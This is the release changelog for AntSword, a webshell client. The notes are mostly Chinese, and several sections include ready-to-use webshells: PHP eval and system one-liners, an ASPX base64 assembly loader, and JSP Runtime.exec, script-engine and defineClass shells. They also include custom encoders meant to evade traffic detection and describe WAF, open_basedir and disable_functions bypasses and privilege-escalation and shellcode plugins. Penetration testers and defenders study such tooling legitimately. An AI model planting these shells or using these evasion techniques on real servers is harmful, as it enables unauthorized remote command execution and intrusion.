Releases: AntSwordProject/antSword
AntSword v2.1.15
❗️本次更新涉及内容较多,请仔细阅读
核心
- 修复 PHP/PHP4 当前目录不可写时 bypass open_basedir 失败的 Bug
- ❗️❗️❗️ 新增 PHPRAW 类型, 该类型支持的 WebShell 类似如下代码:
<?php eval(file_get_contents("php://input"));?>
为了方便直连 Behinder3 WebShell, 编码器已内置。
- ❗️❗️❗️新增 ASPXCSharp 类型
该类型支持的 WebShell 类似如下代码:
<%@ Page Language="c#"%>
<%
String Payload = Request.Form["ant"];
if (Payload != null)
{
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(null);
}
%>
有关该类型的设计说明, 请参考聊聊新类型ASPXCSharp
- ❗️❗️❗️新增 PSWindows 类型,与 CMDLinux 类似
基于命令执行的一句话类型, 仅支持 Windows 环境
该类型支持的 WebShell 类似如下代码:
<?php system($_POST["ant"]);?>
有关 PSWindows 的一些注意事项和原理说明, 请参考新类型 PSWindows 预览
- ❗️❗️❗️JSPJS 兼容各种表达式注入
具体请看 spelbase64、el、ognl 这三个内置编码器样例, 详细请参考Java表达式注入的武器化利用
数据管理
- 优化了编辑 Shell 信息时,URL后缀发生改变后连动修改「连接类型」功能
- 优化插件快捷设置,修正过多快捷设置后对UI影响(Fix #303)
- 修复 JSP/MySQL类型在表名中有特殊字符时执行异常的 Bug (thx @powersploit)
- ❗️❗️新增配置选项「Body 设置为 RAW 模式」
勾选该选项后,只会发送
pwd
键下的内容,不会发送键值
目前生效的类型有: 「PHPRAW」、「CMDLinux」、「PSWindows」、「JSPJS」
主要场景如下:
// 连接类型 CMDLinux, 勾选 「Body 设置为 RAW 模式」后可连接
<?php system(file_get_contents("php://input"));?>
文件管理
- ❗️新增 FileHash 计算目标文件 hash 功能
该功能目前正在逐步适配所有类型中 , 目前已经适配 PHP/PHP4/PSWindows/CMDLinux/JSP/JSPJS
后端模块
- 支持自定义 Content-Type, 默认是
form
superagent 支持的 type 简写如下, 当然也支持填写全称:
html: 'text/html',
json: 'application/json',
xml: 'text/xml',
urlencoded: 'application/x-www-form-urlencoded',
form: 'application/x-www-form-urlencoded',
form-data: 'application/x-www-form-urlencoded'
- Fix #307
- 重新规整
modules/request.js
代码结构 - 调整 superagent
ignoreHTTPS
注入,避免 npm upgrade之后引发问题 - ❗️❗️❗️支持 WebSocket 连接
由于 ASP/ASPX/ASPXCharp/PHP/JSP/CUSTOM 类型每次请求时为多个参数,WebSocket连接之后Server端解析会较为困难,所以当前仅支持「RAW」类型: 「PHPRAW」、「CMDLinux」、「PSWindows」、「JSPJS」,未来会支持基于 defineClass 的 JSPRAW 类型
以 wsMemShell 项目中的 wscmd
为例:
URL: ws://127.0.0.1:8080/demoendpoint
PWD: 随便填写
连接类型: CMDLinux
Encoder: default (明文, 这个是WebShell端决定的)
Decoder: 根据情况自由选择
注意: 由于 antSword 历史设计原因,WebSocket 连接方式暂时只能每次操作都重新建立一次连接,在传输结束后自动与Server端断开
设置模块
- 优化了新增Core类型时,编码设置解析逻辑, 现在不需要再改该模块的源代码了
- ❗️❗️优化全局代理设置, 代理在设置完后不需要再重启了
其它
- 更新纯真IP数据库为 2022/04/20 (https://github.com/out0fmemory/qqwry.dat)
如需自己更新请下载后替换
static/libs/qqwry.dat
文件
- 升级 superagent 到 6.1.0 (再高的版本需要高版本Electron支持)
- 升级 superagent-proxy 到 v3.0.0
AntSword v2.1.14
核心
- ❗️❗️❗️新增 CMDLINUX Shell 类型
基于命令执行的一句话类型, 仅支持 Linux 环境
只要有一个可以执行命令的点, 就可以快乐起来 :) 更多内容见这篇文章
- PHP:
<?php system($_POST['ant']);?>
- 比较流行的 JSP 命令执行 WebShell
<%
if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")}).getInputStream();
int a = -1;
byte[] b = new byte[1];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
}
%>
注意: Runtime.exec 方法直接传入字符串时不支持多条命令拼接,需要使用数组方式
- 简化新增类型后Shell创建步骤
数据库管理
- 新增 CMDLINUX 类型数据库管理(支持 mysql、sqlite3)
利用 mysql和sqlite3 客户端命令,需要目标上有对应的二进制
- 修复 PHP SQLite 下自动生成的 sql 语句语法错误的 Bug
系统设置
- 编码管理支持 cmdlinux 类型
在使用 cmdlinux 类型时,如果接收参数在 HTTP Header 部分, 请务必使用编码器,因为部分 Payload 有换行符
eg:
WebShell:
<?php system(base64_decode($_SERVER["HTTP_CMD"])); ?>
对应该的编码器如下:
'use strict';
module.exports = (pwd, data, ext={}) => {
let headers = ext.opts.httpConf.headers;
headers[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
- 解码器支持 CMDLinux
base64 解码器:
/**
* cmdlinux::base64解码器
*/
'use strict';
module.exports = {
asoutput: () => {
return `asenc(){ base64 "$@"; };` // 注意此处是 Shell 语法
},
decode_buff: (buff) => {
return Buffer.from(buff.toString(), 'base64');
}
}
AntSword v2.1.13
核心
- ❗️❗️❗️新增 JSPJS Shell 类型 (Author: @yzddmr6)
基于 js 引擎的 jsp 一句话类型, jdk >= 6
相较于 jsp defineClass 实现,该方式的数据包大小明显小了不少
设计思路请参考: https://xz.aliyun.com/t/9715
值得一提的是,JSPJS 类型可以通过「迂回」的方式去「直接使用」原来的 JSP 类型 WebShell, 留给大家去探索了
❗️请耐心看完下面的 Note❗️
目前该类型默认生成的 WebShell 如下:
<%
try {
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("ant"));
} catch (Exception e) {
out.println("Error:// "+e.toString());
}
%>
在流量层上和 PHP 最基础的WebShell <?php eval($_POST['ant']);?>
一样具有明显特征,不建议使用, 请配合自定义编码器进行:
eg: b64pass 编码器
'use strict';
module.exports = (pwd, data) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
对应 WebShell 如下:
<%!
public byte[] base64Decode(String str) throws Exception {
Class base64;
byte[] value = null;
try {
base64=Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
} catch (Exception e) {
try {
base64=Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
} catch (Exception ee) {}
}
return value;
}
%>
<%
try {
javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(new String(base64Decode(request.getParameter("ant"))));
} catch (Exception e) {
out.println("Error:// "+e.toString());
}
%>
请自行对照最基础的 WebShell 样例自由发挥 :)
- ❗️PHP/PHP4 类型增加 Bypass open_basedir, 自动尝试
利用的是
chdir('..');
方式, 仅在目标配置了open_basedir
后才会自动尝试
该功能会影响之前版本 PHP Bypass DisableFunc 插件, 请及时更新插件
虚拟终端
- 虚拟终端显示文字样式调亮(thx @Nearg1e 帮我们暗中收集调研了一波需求)
- ❗️终端执行命令路径分割符由固定的
[S][E]
改为随机字符串
别问, 要问就去问 Windows Defender
数据管理
- 开启代理情况下在数据管理状态栏会有提示
后端模块
- 修复 multipart 发包方式下, 编码器中 data 内容不为字符串时异常
eg:
'use strict';
module.exports = (pwd, data) => {
data['test'] = 123; // 这里会引发异常
data[pwd] = data['_'];
delete data['_'];
return data;
}
插件相关
- ExecuteScript 支持 JSPJS 类型
- GenShell 支持 JSPJS 类型 Shell 生成
- Bypass disable_function
- 修正 bypass open_basedir 场景下上传路径问题
.antproxy.php
上传至与 Webshell 同路径下- php -S 利用方式会在界面显示开启的临时端口
- PortScan 支持 JSPJS 类型
- Out-of-Network 支持 JSPJS 类型
AntSword v2.1.12
AntSword v2.1.11.1
核心
- 修复 PHP 类型数据库连接在PHP7下函数废除引起的问题
AntSword v2.1.11
后端模块
- ❗️❗️修改发包默认 UserAgent 为 随机 User-Agent
- 修复 Chunk 发包下 Download 异常问题 #272 (thx @c2xusnpq6)
- 修复 Download 在 chunk 和 multipart 发包模式下
asunescape
不生效的问题
核心
- ❗️JSP 类型支持「解码器」
- 「解码器」 asoutput 新增传入参数 ext, 结构如下:
{
opts: opts: 类型为 Object, Shell 配置
}
- 修复使用 default 编码器服务端其它函数输出 payload 时数据分割解析的问题
eg:
<?php phpinfo();eval($_POST['ant']);phpinfo();?>
因为 phpinfo();
会显示发送的 payload, 发送的 payload 中含有数据分割符,导致分割出错
- ❗️ 移除 random 编码器
能够适配所有编码器的Shell比较少, 这个功能就略显鸡肋, 我们决定移除它
- ❗️JSP Template 升级至 v1.5
- 支持解码器(返回包加密)
- 兼容 JDK5
- 修复base64编码问题&改正错别字
- 修改获取当前目录的方式
其它
-
❗️❗️优化窗口关闭逻辑 #245
-
点击最小化时,不再最小化至系统托盘。点击窗口的关闭按钮,最小化至系统托盘。
-
点击托盘菜单中的「退出」程序退出。
-
点击菜单中的「退出程序」程序退出。
-
「编码管理」新增新建「JSP解码器」
AntSword v2.1.10
核心
- ❗️升级 JSP Template 到 v1.4
- 兼容 JDK6
- 兼容 Weblogic 内存 Webshell
- 优化报错信息
- 解决 Windows下中文乱码的问题(win选择GBK编码,linux选择UTF-8编码)
- 实战中只能获取到response的情况几乎没有,所以为了减少payload体积不再支持response作为入口参数
- 增加用于测试 payload 的Web项目
- 修复 java -jar xxx.war 启动时当前目录获取失败的问题
数据管理
- ❗️修复 context menu category self-xss (thx @lixuesv)
其它
- 优化插件加载, 加载异常的插件不会再影响到其它插件加载了
- 更新纯真IP库(2021/02/02)
- ❗️❗️文档地址更换到语雀 https://www.yuque.com/antswordproject/antsword/
- 🌟加入 404Team 404StarLink 2.0 - Galaxy
非常有幸能够加入星链计划, 大家有空可以了解一下星链计划,有许多很酷的安全项目, 你一定不想错过
插件相关
-
❗️As-Exploits 升级到 v1.1
- 增加对aspx类型的支持
- 增加提权辅助模块(aspx/jsp/php)
- 增加屏幕截图模块(jsp)
- 增加shellcode加载器模块(aspx)
- 仅展示当前类型可用模块,不可用模块不再显示
-
❗️GenShell 升级到 v0.2
新增 asp、aspx、jsp 三种 Shell 类型生成
-
AS_Redis 升级到 v0.4
支持 jsp 类型
-
PortScan 升级到 v0.3
支持 jsp、php4 类型
-
as_netstat 升级到 v0.2
支持所有类型
AntSword v2.1.9
核心
- 新增 JSP 类型一句话支持 (试验功能)
使用的 Shell 例如:
<%!
class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>
<%
String cls=request.getParameter("ant");
if(cls!=null){
new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext);
}
%>
JSP 类型目前采用硬编码字节码方式, 编译版本为 jdk 1.7, 可根据使用场景自行编译。
代码模版参见: https://github.com/AntSwordProject/AntSword-JSP-Template
注意
JSP 类型 Shell 修改文件权限功能,不支持 Windows 系统,在 Linux 系统下不支持 SUID 设置
例如设置为 2644 实际上与 0644 效果相同
- 新增其他参数增加随机前缀
后端模块
- request 增加垃圾数据填充功能 (thx: @yzddmr6)
支持 form-data 和 multipart 模式
该模块不会改变 payload, 仅会填充垃圾数据, 部分基于 nginx 二次开发的 WAF 会因为过多参数导致 WAF 获取不到后面的数据,从而达到 Bypass 目的。
测试 paper 参见: yzddmr6的 Blog —— 蚁剑改造计划之增加垃圾数据
Security
- Fix ViewSite security issue #256
其它
- 插件支持的脚本类型支持通配符
*
如果插件的 package.json 文件中的 scripts 设置为
*
, 则可被所有类型的插件调用。
AntSword v2.1.8.1
- Fix ViewSite security issue thx @imagemlt
AntSword v2.1.8
核心
- 修复全局过滤 xss 时 text 和 buff 过滤规则不一致问题
- core.command.exec 增加第 3个参数 env
格式为: key1|||askey|||val1|||asline|||key2|||askey|||val2|||asline|||
对应的环境变量为:
key1=val1
key2=val2
数据管理
- ❗️新增「自定义数据分割符」配置
你可以将任何你喜欢的字符组合定义成数据的「起始符」或「结束符」
- 修复「创建副本」时不会同步 decoder 的问题
文件管理
- ❗️编辑文件新增「刷新」按钮
如果服务器上的文件内容发生改变, 再也不需要关掉重打开了
-
新建文件默认内容更改为
#Halo AntSword!
-
❗️编辑文件文件路径改为输入框, 现在可以手动输入文件路径后, 按 Enter 键快速打开文件了
虚拟终端
- ❗️新增
asenv
本地指令, 用于手动设置当前终端下的环境变量
Linux:
Windows:
注意: asp 下设置之后, 当前机器上的IIS子进程都会受影响, 过一段时间子进程退出后正常
- ❗️新增
aswinmode
本地指令, 在自动识别操作系统错误时, 可使用该指令手动切换命令行运行的模式 (#229 thx @nullnull1604-outlook)
其它
- ACE 编辑器增加
ace/mode/antswordjwt
语法模式, 支持 JWT Token 语法高亮